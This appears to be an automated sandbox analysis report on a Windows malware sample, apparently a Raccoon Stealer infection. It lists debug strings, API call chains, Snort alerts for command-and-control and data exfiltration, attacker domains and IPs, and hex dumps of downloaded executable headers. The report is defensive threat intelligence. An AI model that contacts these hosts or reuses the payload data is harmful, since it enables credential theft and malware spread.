Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\B1B2.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49937 version: TLS 1.2

Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb( source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355319445.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355100434.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355041486.000000000541B000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355698589.0000000003678000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: C:\xore salafoyukumabu3\ra.pdb source: 254E.exe, 0000001C.00000000.351672177.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355300183.0000000003672000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.356247461.0000000003672000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: AC:\xore salafoyukumabu3\ra.pdbh source: 254E.exe, 0000001C.00000000.351672177.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: [+C:\mubinidefup56_bum.pdbh source: OG9rNsihJ7.exe, 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000000.00000000.231517264.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000001.00000000.236309691.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000000.326118526.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000002.333467369.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000013.00000000.329837112.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000002.355073966.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000000.344254452.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000018.00000000.351452912.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: C:\mubinidefup56_bum.pdb source: OG9rNsihJ7.exe, OG9rNsihJ7.exe, 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000000.00000000.231517264.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000001.00000000.236309691.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000000.326118526.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000002.333467369.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000013.00000000.329837112.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000002.355073966.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000000.344254452.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000018.00000000.351452912.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdbv source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000001A.00000003.355300183.0000000003672000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.356247461.0000000003672000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: B1B2.exe, 00000014.00000000.334478486.0000000000413000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.343212792.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: /C:\vofihewakizabu\tesuvahatu\woru.pdbh source: 3136.exe, 0000001D.00000000.359623622.0000000000401000.00000020.00020000.sdmp, 3136.exe, 0000001D.00000002.381021289.00000000008F9000.00000004.00000001.sdmp, xqfkdfcl.exe, 0000002A.00000000.380594981.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: fltLib.pdbr source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbt source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdbV source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb\ source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbZ source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb" source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbura source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: C:\vofihewakizabu\tesuvahatu\woru.pdb source: 3136.exe, 0000001D.00000000.359623622.0000000000401000.00000020.00020000.sdmp, 3136.exe, 0000001D.00000002.381021289.00000000008F9000.00000004.00000001.sdmp, xqfkdfcl.exe, 0000002A.00000000.380594981.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000001A.00000003.355319445.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355100434.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355698589.0000000003678000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: B1B2.exe, 00000014.00000000.334478486.0000000000413000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.343212792.0000000000413000.00000002.00020000.sdmp

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_00419A0C GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,GetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	0_2_00419A0C
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	28_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_00401280
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_00401090
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	28_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_00409970
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C8A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_006C8A30
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C12E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_006C12E0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C14D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_006C14D0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C6090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_006C6090
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C9930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	28_2_006C9930
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C9BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_006C9BC0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C9D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	28_2_006C9D90

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.5:49901 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2034631 ET TROJAN Maldoc Activity (set) 192.168.2.5:49924 -> 74.201.28.62:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.5:49940 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.5:49940 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.5:49901 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 40.93.207.0 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.142.143.116 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Uses the Telegram API (likely for C&C communication)

Show sources

Source: unknown

DNS query: name: api.telegram.org

Performs DNS queries to domains with low reputation

Show sources

Source:

DNS query: c9d0e790b353537889bd47a364f5acff43c11f248.xyz

Source: global traffic

HTTP traffic detected: GET /book/KB5009812.png HTTP/1.1Host: 74.201.28.62Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:00 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:03 GMTContent-Type: application/x-msdos-programContent-Length: 321024Connection: closeLast-Modified: Fri, 14 Jan 2022 20:05:01 GMTETag: "4e600-5d590516adb4b"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d 1f 39 8a 29 7e 57 d9 29 7e 57 d9 29 7e 57 d9 37 2c c2 d9 33 7e 57 d9 37 2c d4 d9 af 7e 57 d9 0e b8 2c d9 2e 7e 57 d9 29 7e 56 d9 c9 7e 57 d9 37 2c d3 d9 13 7e 57 d9 37 2c c3 d9 28 7e 57 d9 37 2c c6 d9 28 7e 57 d9 52 69 63 68 29 7e 57 d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 11 d4 68 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 e8 03 00 00 ac 11 00 00 00 00 00 e0 b5 01 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 15 00 00 04 00 00 31 b6 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 e3 03 00 50 00 00 00 00 00 15 00 28 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 15 00 f4 1d 00 00 a0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 be e6 03 00 00 10 00 00 00 e8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 00 04 00 00 18 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 61 66 69 66 00 00 05 00 00 00 00 d0 14 00 00 02 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 61 6c 61 64 69 6e ea 00 00 00 00 e0 14 00 00 02 00 00 00 06 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 65 72 00 00 00 00 93 0d 00 00 00 f0 14 00 00 0e 00 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 87 00 00 00 00 15 00 00 88 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5a 46 00 00 00 90 15 00 00 48 00 00 00 9e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:08 GMTContent-Type: application/x-msdos-programContent-Length: 324096Connection: closeLast-Modified: Fri, 14 Jan 2022 20:05:01 GMTETag: "4f200-5d590516c13cb"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d 1f 39 8a 29 7e 57 d9 29 7e 57 d9 29 7e 57 d9 37 2c c2 d9 33 7e 57 d9 37 2c d4 d9 af 7e 57 d9 0e b8 2c d9 2e 7e 57 d9 29 7e 56 d9 c9 7e 57 d9 37 2c d3 d9 13 7e 57 d9 37 2c c3 d9 28 7e 57 d9 37 2c c6 d9 28 7e 57 d9 52 69 63 68 29 7e 57 d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e6 17 a5 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f4 03 00 00 ac 11 00 00 00 00 00 f0 c1 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 15 00 00 04 00 00 eb fe 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 ef 03 00 50 00 00 00 00 10 15 00 28 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 f0 1d 00 00 a0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ce f2 03 00 00 10 00 00 00 f4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 10 04 00 00 18 00 00 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 75 78 75 74 00 00 05 00 00 00 00 e0 14 00 00 02 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 69 6a 61 79 75 00 ea 00 00 00 00 f0 14 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 65 6d 6f 79 69 00 93 0d 00 00 00 00 15 00 00 0e 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 87 00 00 00 10 15 00 00 88 00 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 64 46 00 00 00 a0 15 00 00 48 00 00 00 aa 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 